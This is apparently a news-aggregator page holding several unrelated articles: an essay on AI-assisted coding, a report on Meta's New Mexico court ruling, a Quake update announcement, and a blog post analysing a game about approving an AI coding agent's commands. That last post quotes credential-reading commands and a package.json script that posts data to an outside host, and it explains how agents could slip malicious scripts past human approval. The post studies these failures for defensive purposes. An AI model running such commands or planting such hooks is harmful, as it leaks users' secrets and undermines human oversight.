Engineers are ac­tively work­ing to­wards full re­cov­ery.

Posted Aug 06, 2026 – 16:27 UTC

Update

Pages is ex­pe­ri­enc­ing de­graded per­for­mance. We are con­tin­u­ing to in­ves­ti­gate.

Posted Aug 06, 2026 – 16:27 UTC

Update

Pages is op­er­at­ing nor­mally.

Posted Aug 06, 2026 – 16:19 UTC

Update

Pages is ex­pe­ri­enc­ing de­graded per­for­mance. We are con­tin­u­ing to in­ves­ti­gate.

Almost No Skill Required to Cook a Steak (Though You Probably Can’t Make a Decent One)

blog.sydorets.com

Cooking a steak re­quires al­most no skill.

Put it in a hot pan, wait a lit­tle, flip it, and even­tu­ally you’ll have some­thing tech­ni­cally ed­i­ble. But a gen­uinely good steak, medium-rare from edge to edge, browned prop­erly, sea­soned right, con­sis­tently de­li­cious, is a dif­fer­ent mat­ter en­tirely.

Software de­vel­op­ment with AI is start­ing to feel much the same.

We build non­stop now. With AI, with­out AI, dur­ing the com­mute, on the toi­let, prob­a­bly in our sleep. We cre­ate agents, har­nesses, tools, skills, prompts, feed­back loops, elab­o­rate work­flows. Then we throw every­thing at a model and hope it gives us what we imag­ined, with­out ever hav­ing to un­der­stand how any of it ac­tu­ally works.

And what do we want?

We want the per­fect steak.

We want soft­ware that works, looks good, feels pol­ished, and ar­rives ex­actly as we imag­ined it. Most of all, we want the same re­sult every time.

Do we get it?

Not every time. Not even close to every time.

Sometimes the model hands us some­thing sur­pris­ingly good. Other times it serves up char­coal with a sprig of thyme on top and calls it medium-rare, com­pletely con­fi­dent in the lie.

So what do we do?

We go to a restau­rant.

We pay for a pre­mium AI prod­uct, hire an agency, sub­scribe to an­other cod­ing as­sis­tant, jump to a new frame­work promis­ing pro­fes­sional re­sults. We hope some­one else al­ready solved the prob­lem for us. Sometimes they have. Quite of­ten, they haven’t.

That leaves two choices: learn to cook prop­erly our­selves, or keep ask­ing friends for restau­rant rec­om­men­da­tions while prepar­ing our wal­lets for the next ex­pen­sive dis­ap­point­ment.

Most of us want to build some­thing we care about with AI with­out get­ting lost in the im­ple­men­ta­tion de­tails. We want to treat it like a pro­fes­sional chef work­ing in our own kitchen: tell it what we want, step away, come back when din­ner’s ready.

But AI is­n’t a chef. At best, it’s a steak ma­chine.

It can fol­low a recipe. Watch the tem­per­a­ture, flip at the right mo­ment, drop in the but­ter. Give it enough tools and in­struc­tions and it’ll re­peat that process fast, at enor­mous scale. What it does­n’t do is know what you ac­tu­ally want.

It can’t see the pic­ture in your head un­less you trans­late it into re­quire­ments, con­straints, ex­am­ples, tests, feed­back. And even then, it’s boxed in by its own ca­pa­bil­i­ties, its con­text win­dow, the qual­ity of the sys­tem wrapped around it. You can stand next to the ma­chine and cor­rect it every thirty sec­onds. That might help. It won’t turn the ma­chine into a Michelin-starred chef.

Eventually, frus­trated, you de­cide to just pay for the dream steak.

You pick the ex­pen­sive restau­rant. Sit down, study the menu, fi­nally, you can or­der with real con­fi­dence. You wait for the first bite.

The plate ar­rives.

Same burnt steak you made at home.

Why? Because every restau­rant in the city hired the same AI cook.

Cost op­ti­miza­tion,” man­age­ment says. Most peo­ple won’t no­tice.”

And they’re prob­a­bly right. Most peo­ple won’t. Most of the time, soft­ware only has to be ac­cept­able. Customers tol­er­ate weird in­ter­faces, point­less fea­tures, strange bugs, sys­tems held to­gether by gen­er­ated code no­body ac­tu­ally un­der­stands.

But you’ll no­tice.

You’ll no­tice be­cause this was some­thing you ac­tu­ally wanted to make.

So you go home dis­ap­pointed, hun­gry, a lit­tle em­bar­rassed, and pull the cook­book off the shelf. There’s only one op­tion left: learn to cook.

You learn what heat ac­tu­ally does. Which pan mat­ters and why. Why thick­ness mat­ters, why rest­ing mat­ters, why a timer alone was never go­ing to save you. You ruin a few more din­ners. Then you try again. And again.

Eventually you stop de­pend­ing on luck, you learned it the hard way.

Software works the same way.

AI can make you faster. It au­to­mates the repet­i­tive stuff, spits out a start­ing point, ex­plains code, helps you poke at ideas. What it can’t do is re­place your judg­ment. It can’t de­fine qual­ity for you, can’t de­cide which trade­offs are ac­cept­able, can’t al­ways catch the mo­ment when some­thing is tech­ni­cally cor­rect but wrong in every way that mat­ters.

To build good soft­ware with AI, you still have to un­der­stand soft­ware.

You need to know what you’re ac­tu­ally ask­ing for, how to judge what comes back, and when the ma­chine is just con­fi­dently serv­ing you char­coal.

Keep learn­ing. Keep build­ing. Keep fail­ing. Do that un­til you can pro­duce the re­sult you want in­stead of hop­ing to stum­ble into it.

Then get good enough to open your own small restau­rant.

Then hire a few AI cooks. Most peo­ple still won’t no­tice the dif­fer­ence.

But you will.

New Mexico court orders Meta to pay $567m over harms to children’s mental health

www.theguardian.com

A New Mexico court has or­dered Meta, the par­ent com­pany of Facebook, to pay $567m into a fund aimed at re­dress­ing ad­verse men­tal health im­pacts from the so­cial me­dia gi­ant’s plat­forms.

The Thursday rul­ing comes as a part of the sec­ond phase of a land­mark trial the so­cial me­dia gi­ant lost in March. At the time, a jury found that the com­pany know­ingly harmed chil­dren’s men­tal health and con­cealed what it knew about child sex­ual ex­ploita­tion on its plat­forms, and im­posed the max­i­mum penalty: a $375m fine.

The rul­ing on Thursday is an ad­di­tion to that fine, bring­ing the to­tal amount Meta is re­spon­si­ble for to $942m.

Judge Bryan Biedscheid said the bulk of the money — $420m — would be used for treat­ment ser­vices for young peo­ple in New Mexico. The rest will go to­ward aware­ness and pre­ven­tion, screen­ing ser­vices and other costs over the next five years.

The March trial was the first to find Meta li­able for acts com­mit­ted on its plat­form, and fol­lowed a 2023 Guardian in­ves­ti­ga­tion that re­vealed how Facebook and Instagram had be­come mar­ket­places for child sex traf­fick­ing.

Several for­mer Meta mod­er­a­tors told the Guardian there were in­stances where they flagged harm­ful con­tent re­lated to child groom­ing, but the cases were not es­ca­lated.

In the sec­ond phase of the trial, which be­gan in May, pros­e­cu­tors had asked the judge to im­pose fun­da­men­tal changes at Meta aimed at rein­ing in ad­dic­tive fea­tures, im­prov­ing age ver­i­fi­ca­tion, and pre­vent­ing child sex­ual ex­ploita­tion through de­fault pri­vacy set­tings and closer over­sight.

The judge has also or­dered other changes, in­clud­ing that Facebook and Instagram build ban­ner and in­for­ma­tional screens to clearly ex­plain its pro­tec­tion fea­tures, best prac­tices, and tools to ad­dress in­ap­pro­pri­ate com­ment.

Those changes, and an ed­u­ca­tional cam­paign in New Mexico, would be sub­ject to re­view by the state.

The court said fed­eral chil­dren’s pri­vacy laws pre­vent Meta from ap­ply­ing age-ver­i­fi­ca­tion tools to chil­dren un­der 13. The court also noted that or­der­ing ver­i­fi­ca­tion of chil­dren’s ages only for Meta and not other so­cial me­dia com­pa­nies would be inequitable and un­duly in­ju­ri­ous” to the com­pany.

Instead, the court or­dered Meta to con­tinue to im­prove its age-as­sur­ance tools in New Mexico, which in­clude us­ing ar­ti­fi­cial in­tel­li­gence to de­ter­mine peo­ple’s age based on sig­nals such as who their friends are and what types of con­tent they post and con­sume. Meta must also at­tempt to de­velop a ded­i­cated under-13-years-of-age pre­dic­tion model” in the next two years.

Additionally, Meta should also re­quest proof of age for Instagram and Facebook users in New Mexico it es­ti­mates to be un­der 13. If it de­ter­mines a user to be un­der 13, or un­der 18 but with­out be­ing able to es­ti­mate a spe­cific age, Meta must treat the user as un­der 13 or un­der 18 un­til the user ver­i­fies their age.

The com­pany must also part­ner with schools or a child safety or­ga­ni­za­tion to cre­ate a re­port­ing por­tal where school staff can flag users who may be un­der 13. And it must delete per­sonal in­for­ma­tion it has col­lected on users un­der 13. The court also or­dered Meta to re­port on its progress twice a year on how it is com­ply­ing with the abate­ment mea­sures.

New Mexico at­tor­ney gen­eral Raúl Torrez hailed the judg­ment.

This case has al­ways been about pro­tect­ing chil­dren, stand­ing up for fam­i­lies, and mak­ing sure that one of the world’s largest tech­nol­ogy com­pa­nies can­not profit from prac­tices that en­dan­ger young peo­ple with­out con­se­quence,” Torrez said in a state­ment.

Today’s de­ci­sion is a vic­tory for every par­ent who has wor­ried about what so­cial me­dia is do­ing to their child and every child who de­serves to grow up safer on­line.”

A Meta spokesper­son said in a state­ment to the Guardian on Thursday that the com­pany disagrees with the rul­ing” and plans to ap­peal.

We work hard to keep peo­ple safe on our plat­forms and have been trans­par­ent about the chal­lenges of iden­ti­fy­ing and re­mov­ing bad ac­tors and harm­ful con­tent. We re­main con­fi­dent in our record of pro­tect­ing teens on­line and will con­tinue to de­fend our­selves against claims that mis­rep­re­sent the facts,” the state­ment con­tin­ued.

The to­tal amount Meta is re­spon­si­ble for is a small frac­tion of of its an­nual profit, which was about $60bn in 2025. Still, it rep­re­sents an­other set­back for Meta as it faces a wave of ac­cu­sa­tions from fam­i­lies of chil­dren harmed by so­cial me­dia.

The com­pany is em­broiled in a slew of law­suits in other US states over its al­leged harms to young peo­ple. In a trial in Tennessee that be­gan last month, the state has ac­cused the com­pany of dis­re­gard­ing in­ter­nal warn­ings about teenagers’ com­pul­sive use of Instagram, which has been linked to eat­ing dis­or­ders and de­pres­sion, among other ad­verse ef­fects. Meta is also gear­ing up for a trial later this month in fed­eral court in Oakland, California.

What comes out of New Mexico is the first of many domi­noes that could fall for Meta, said Laura Edelson, an as­sis­tant pro­fes­sor at Northeastern University fo­cus­ing on so­cial me­dia and cy­ber­se­cu­rity.

America is not go­ing to pass a law that bans so­cial me­dia,” Edelson said. But if com­pa­nies like Meta know they’re caus­ing harm to users by prod­uct de­sign, the states are fi­nally find­ing a way to rein this in.”

wsj.com

www.wsj.com

Please en­able JS and dis­able any ad blocker

Quake – 30th Anniversary Update

slayersclub.bethesda.net

By: id Software

To cel­e­brate the 30th Anniversary of Quake, we have collaborated with MachineGames to cre­ate a new episode, Dawn of the Machine, now avail­able as a free up­date to Quake.

🆕WHAT’S NEW

⚙️DAWN OF THE MACHINE

Celebrating 30 years of Quake, the award-win­ning team at Ma­chineGames—in col­lab­o­ra­tion with id Software—returns with Dawn of the Machine, a bru­tal new episode build­ing on their crit­i­cally ac­claimed work on Dimension of the Machine and Dimensions of the Past. Delivering fe­ro­cious com­bat, labyrinthine level de­sign, and night­mar­ish realms that twist re­al­ity be­yond recog­ni­tion, it pushes the legacy of the genre-defin­ing first-per­son shooter even fur­ther—hon­or­ing one of gam­ing’s most en­dur­ing icons.

🏃‍♂️‍➡️END THE NIGHTMARE. 😶‍🌫️ESCAPE THE ILLUSION.

Ranger is trapped in a di­men­sion of end­less il­lu­sion—re­liv­ing the same vi­o­lent cy­cles for what feels like life­times, dy­ing thou­sands of times in a fu­tile at­tempt to es­cape. Wearied but un­bro­ken, he has heard ru­mor of The Nightmare Machine.

Beyond the hordes of mon­sters—twisted by an eter­nity in the El­der realms—lies the Machine. It is be­lieved its de­struc­tion will shat­ter the il­lu­sion, fi­nally break­ing the loop.

🆓FREE FOR QUAKE OWNERS

Dawn of the Machine is avail­able as a free up­date for Quake own­ers on XBOX Series X/S, XBOX One, Microsoft PC Store, Game Pass, PC Game Pass, Steam, PlayStation 5, PlayStation 4, Nintendo Switch 2 (via back­wards com­pat­i­bil­ity), and Nintendo Switch ver­sions of Quake. This ex­pan­sive new episode fea­tures 19 all-new maps across a co­he­sive cam­paign, along­side a brand-new sound­track, hid­den se­crets, a ded­i­cated episode hub, and an all-new death­match map.

👹NEW ENEMY AND ⚔️WEAPON VARIANTS

Face deadly new twists on fa­mil­iar foes, in­clud­ing the Rocket Ogre, Demo Dog, Blood Shambler, and more. Each vari­ant in­tro­duces lethal new be­hav­iours—from over­whelm­ing fire­power to ex­plo­sive death traps—forc­ing you to re­think every en­counter. Expand your ar­se­nal with bru­tal vari­ants in­spired by clas­sic Quake ex­pan­sions, in­clud­ing the Super Axe—unleashing light­ning on suc­ces­sive strikes—and the Laser Cannon, fir­ing ric­o­chet­ing pro­jec­tiles that tear through en­e­mies from every an­gle.

♻️REPLAYABLE EPISODE LOOP

Time folds back on it­self in a unique loop­ing struc­ture, where each re­turn re­shapes the ex­pe­ri­ence. Runes un­lock pre­vi­ously sealed paths, draw­ing you back through fa­mil­iar spaces now al­tered with new routes, en­coun­ters, and se­crets wait­ing to be dis­cov­ered. Persistent health and ammo up­grades found through­out the realm en­sure each loop makes you stronger, in­tro­duc­ing a new layer of pro­gres­sion to Quake.

🎭EXPECT THE UNEXPECTED

Reality is never sta­ble. Shift be­tween di­men­sions to solve puz­zles and nav­i­gate the world, or find hid­den se­crets scat­tered through­out the realms. Face en­e­mies that rise again or trans­form af­ter death, and ex­pe­ri­ence en­coun­ters where the rules change with­out warn­ing—forc­ing you to adapt or be over­run.

🔒id VAULT

Browse a be­hind-the-scenes gallery of de­vel­op­ment as­sets and un­used con­tent. Ex­plore playable maps, in­clud­ing some lev­els from the ear­li­est stages of Quake’s de­vel­op­ment

🏆NEW ACHIEVEMENTS

Three new achieve­ments are avail­able to earn while play­ing Dawn of the Machine

🤫CHEATS MENU

Access the new Cheats menu at any time in sin­gle player games to help you through a tough area or just ex­plore lev­els with­out fear of en­e­mies

🛠️FIXES

ALL PLATFORMS

Improved in­ter­po­la­tion. This reduces in­put la­tency and lessens oc­cur­rences where the cam­era would vi­su­ally fall be­hind your weapon and weapon ef­fects

Fixed an is­sue where the cam­era would in­ter­po­late be­tween po­si­tion changes that were too large to pos­si­bly be stairs (silent tele­porters)

Re-added weapon bob­bing ef­fects when view bob­bing is dis­abled

Weapon bob can now be turned on or off sep­a­rately from view bob

Removed shadow cast­ing from Hell Knight pro­jec­tiles to im­prove vi­su­als in its ranged at­tack

Shadow cast­ing lights from en­e­mies are now capped to im­prove per­for­mance in scenes with lots of Enforcers fir­ing weapons

Reduced mem­ory us­age from menus

Improved font ren­der­ing when us­ing the larger ac­ces­si­ble type­face

PLAYSTATION 5

Fixed weapons in Scourge of Ar­magon not hav­ing con­troller vi­bra­tion or con­troller speaker sounds

👷MODDING CHANGES

Localization strings are now stored in the Quake PAK, in­stead of out­side the game data in the KPF file. Third party en­gines that pre­vi­ously read strings from the KPF file will need to be up­dated to read from the PAK file and should no longer need to load the KPF file at all

Mods can op­tion­ally add new mod-spe­cific lo­cal­iza­tion by over­rid­ing lo­cal­iza­tion/​loc_(lan­guage)_mod.txt in their PAK files

❓FAQs

I al­ready own Quake. How do I ac­cess the new episode, Dawn of the Machine?

Which platforms is Dawn of the Machine available in Quake?

Is Dawn of the Machine avail­able on the Epic Games Store or GOG versions of Quake?

I play Quake on GOG or the Epic Games Store. Why do I see a Disconnected from servers” mes­sage when in­vited to play Dawn of the Machine maps with play­ers on Steam or con­sole?

Known Issue: Quake play­ers host­ing a Dawn of the Machine on­line mul­ti­player match on Switch will dis­con­nect from the lobby on level tran­si­tions, forc­ing other play­ers to drop too.

*If you’re still ex­pe­ri­enc­ing is­sues, please holler at our amaz­ing Customer Service team

Humans missed 1 in 3 threats approving AI agent commands across 40,000 plays

scalex.dev

A cou­ple of months ago I pub­lished a small browser game: you play the hu­man-in-the-loop for an AI cod­ing agent, ap­prov­ing or deny­ing its com­mands un­der time pres­sure. Some com­mands are rou­tine (git sta­tus, npm test) and some other com­mands in­di­cate your agent has been pos­sessed and is send­ing your se­crets to a re­mote server (cat ~/.aws/credentials). More on the threats as­so­ci­ated with agents run­ning com­mands and how to mit­i­gate them can be found in the orig­i­nal post.

The game gar­nered some in­ter­est on hacker news, and af­ter adding in sta­tis­tics (unfortunately a bit later on) we can take a closer look at the data of over 40,000 runs and 409,000 in­di­vid­ual ap­prove/​deny de­ci­sions. Let’s see how the hu­man-in-the-loop, our last line of de­fence against rogue agents, fared.

The head­line num­bers

The av­er­age player missed 1 in 3 threats (mean ac­cu­racy 66.3%)

32.9% of ses­sions ended with a neg­a­tive score: penal­ties from ap­proved threats and blocked safe com­mands out­weighed every­thing done right

35.2% of play­ers caught every threat, but only 20.8% man­aged that while block­ing at most 1 in 5 of the safe com­mands. The rest got there partly by block­ing every­thing (awarding the Human Bottleneck” ti­tle)

7% ap­proved every sin­gle prompt: big fans of –dangerously-skip-permissions

Big caveat: this was a short game, where ap­prox­i­mately 34% of the com­mands play­ers saw were threats. In our day-to-day work these threats (fortunately, so far) ap­pear rarely. Players were un­der ar­ti­fi­cial time pres­sure, but I’d ar­gue that’s not too dif­fer­ent in the real world where sim­i­lar pres­sure to ship quickly may also lead to same rushed ap­proval habits. That said I do be­lieve the num­bers be­low are still use­ful for gar­ner­ing some in­sights on com­par­ing threats and the gen­eral aware­ness of them against one an­other and gen­eral is­sue of re­ly­ing on human-in-the-loop’ as a valid safe­guard.

Threat cat­e­gories and miss rates

The ob­vi­ously de­struc­tive com­mands are caught most re­li­ably. The com­mands that ac­tu­ally ex­fil­trate your cre­den­tials are missed three times as of­ten.

The npm run blind spot

The sin­gle most-missed com­mand in the game is npm run an­a­lyze, ap­proved 64.7% of the time. The com­mand by it­self is typ­i­cally in­no­cent. But what npm run re­ally does is run a script that’s de­fined in your pro­jec­t’s pack­age.json. It could be a stan­dard bun­dle an­a­lyzer, or ma­li­cious code in­jected by an ear­lier file edit. To be sure a de­vel­oper would need to in­spect all the mod­i­fied files first, which would slow down their work­flow.

The game tells you in the agen­t’s his­tory log that the con­tents are sus­pi­cious:

1✻ I’ll run the bun­dle an­a­lyzer — it’s al­ready set up in the pro­ject scripts. 2 // pack­age.json → scripts 3 analyze”: webpack-bundle-analyzer stats.json | tee /dev/fd/1 | 4 curl -s -X POST https://​api.bun­dle.track/​re­port -d @-”

Two thirds of play­ers ap­proved it any­way, in­di­cat­ing the his­tory log just above the per­mis­sion prompt may not be read closely (at least not in this game set­ting). There are three of these in the game, and they ap­pear in the most-missed list:

Pooled, the three were missed 52.5% of the time (n=9,482) against 28.4% for every other ex­fil­tra­tion-style at­tack. Hiding a pay­load be­hind a fa­mil­iar script name roughly dou­bles its suc­cess rate even when the pay­load is shown in the his­tory log.

Which is re­ally a symp­tom of the big­ger prob­lem, well put by dns_s­nek in the Hacker News thread:

That’s a great ex­am­ple of how dan­ger­ous ac­tions are per­ceived as in­no­cent. The en­tire model of ap­prov­ing spe­cific com­mands is ab­solutely bonkers.npm run build = run an ar­bi­trary shell com­mand writ­ten in pack­age.json­Mean­while the agent could have done any of the fol­low­ing with­out ap­proval:edited pack­age.json to con­tain any ar­bi­trary build com­mand­planted ma­li­cious code in build.js (called by npm run build)planted ma­li­cious code in node_­mod­ules/​xyz/​in­dex.js (imported by build.js)

That’s a great ex­am­ple of how dan­ger­ous ac­tions are per­ceived as in­no­cent. The en­tire model of ap­prov­ing spe­cific com­mands is ab­solutely bonkers.

npm run build = run an ar­bi­trary shell com­mand writ­ten in pack­age.json

Meanwhile the agent could have done any of the fol­low­ing with­out ap­proval:

edited pack­age.json to con­tain any ar­bi­trary build com­mand

planted ma­li­cious code in build.js (called by npm run build)

planted ma­li­cious code in node_­mod­ules/​xyz/​in­dex.js (imported by build.js)

Asking the user to val­i­date com­mands, which are nearly all of the time safe, but aren’t any­more be­cause of mod­i­fied files, is not a strong safe­guard. They are am­bigu­ous with­out con­text.

Miss rates in­crease un­der pres­sure

Anthropic pre­vi­ously noted per­mis­sion fa­tigue is real in claude code, with the fol­low­ing quote:

The more ap­provals a user sees, the less at­ten­tion they pay to each, be­com­ing over time much less dili­gent in their su­per­vi­sion

The more ap­provals a user sees, the less at­ten­tion they pay to each, be­com­ing over time much less dili­gent in their su­per­vi­sion

And al­though it’s a short game where the user is warned about threats, we can see some signs of degra­da­tion to­wards the end of game runs:

The graph above shows the threat miss rate along the ses­sion, with the plays grouped to­gether on how many com­mands the user com­pleted. Users com­plet­ing a lower num­ber of com­mands can be due to the user tak­ing more time to re­view them, or be­cause of the game freez­ing for a cou­ple of sec­onds af­ter an er­ror was made as penalty. I’ve re­moved all the users who sim­ply blocked every­thing.

Every group im­proves over the first cou­ple of com­mands (warming up?) and then the miss rates climb back up to­wards the end. Although this might also be the stress of the clock run­ning out and the player be­com­ing more likely to make mis­takes to get some ex­tra com­mands in.

The cost of vig­i­lance: over-block­ing

The fol­low­ing com­mands were be­nign in in­tent, but rou­tinely blocked:

npm con­fig set reg­istry https://​npm.in­ter­nal — blocked 59% of the time (setting an in­ter­nal mir­ror)

rm -rf dist/ — blocked 45% of the time (clearing build out­put, not un­com­mon to per­form be­fore a new build)

kill $(lsof -t -i:3000) — blocked 43% of the time (freeing the port the server is lis­ten­ing on, po­ten­tially be­cause of a crashed process)

This is the other side of the hu­man-in-the-loop dilemma. Users are asked to ap­prove com­mands which are ac­tu­ally be­nign, and block­ing them slows the agent down. Over time this noise will likely re­sult in users drop­ping their guard and ap­prov­ing ma­li­cious com­mands. Features such as Anthropic’s Auto Mode’ try to mit­i­gate this by au­to­mat­i­cally try­ing to de­ter­mine if a com­mand is safe be­fore ask­ing you, but they are not fool-proof as men­tioned in the pre­vi­ous post.

The con­tested cat and miss­ing con­text

cat ~/.zshrc was ap­proved by 45.9% of play­ers, the most di­vi­sive com­mand in the game. The ob­jec­tion (raised on HN) is fair: plenty of de­vel­op­ers keep no se­crets in their shell pro­file, so for them it is harm­less. For the many who ex­port API keys there, it’s cre­den­tial dis­clo­sure. The com­mand’s risk de­pends en­tirely on a setup the agent can’t see. If you source a sep­a­rate se­crets file from your .zshrc in­stead, the risk of your agent get­ting more ac­cess is re­duced. It’s sen­si­tive enough I find that agents should be dis­al­lowed from ac­cess­ing it di­rectly.

Several other prompts were sim­i­larly con­tro­ver­sial due to miss­ing con­text. I agree they’re am­bigu­ous and the game demon­strates that this model to ask devs to make se­cu­rity judge­ments with­out the full pic­ture is flawed.

The take­away

While it’s just a game and not an aca­d­e­mic study, I’ve en­joyed fol­low­ing the dis­cus­sions and find the ex­per­i­ment does demon­strate sev­eral is­sues with hu­man-in-the-loop as a se­cu­rity bound­ary for AI cod­ing agents.

The high amount of noise in­tro­duces fa­tigue re­sult­ing in de­vel­op­ers opt­ing for com­plete by­passes in­stead, and de­vel­op­ers don’t al­ways have the con­text of what has changed to quickly de­ter­mine the risk.

We need to make the tool­ing eas­ier (such as sand­box­ing, and strict con­text iso­la­tion) and only grant agents broad per­mis­sions once these safe­guards are in place, rather than point­ing to hu­man-in-the-loop as an ac­cept­able fall­back.

In the mean­time, for de­vel­op­ers, we need to be­come more aware of the dif­fer­ent risks and mit­i­ga­tion strate­gies with their trade-offs. The orig­i­nal post cov­ers some of these prac­ti­cal mit­i­ga­tions.

If you want to try your luck at the game, you can find it here: https://​llmgame.scalex.dev

Alex Wauters

Hi - I’m Alex. I write about de­vel­oper se­cu­rity and the trade­offs of build­ing and scal­ing soft­ware sys­tems. Ex-Staff Engineer at Uber.

openai.com

To add this web app to your iOS home screen tap the share button and select "Add to the Home Screen".

10HN is also available as an iOS App

If you visit 10HN only rarely, check out the the best articles from the past week.

Visit pancik.com for more.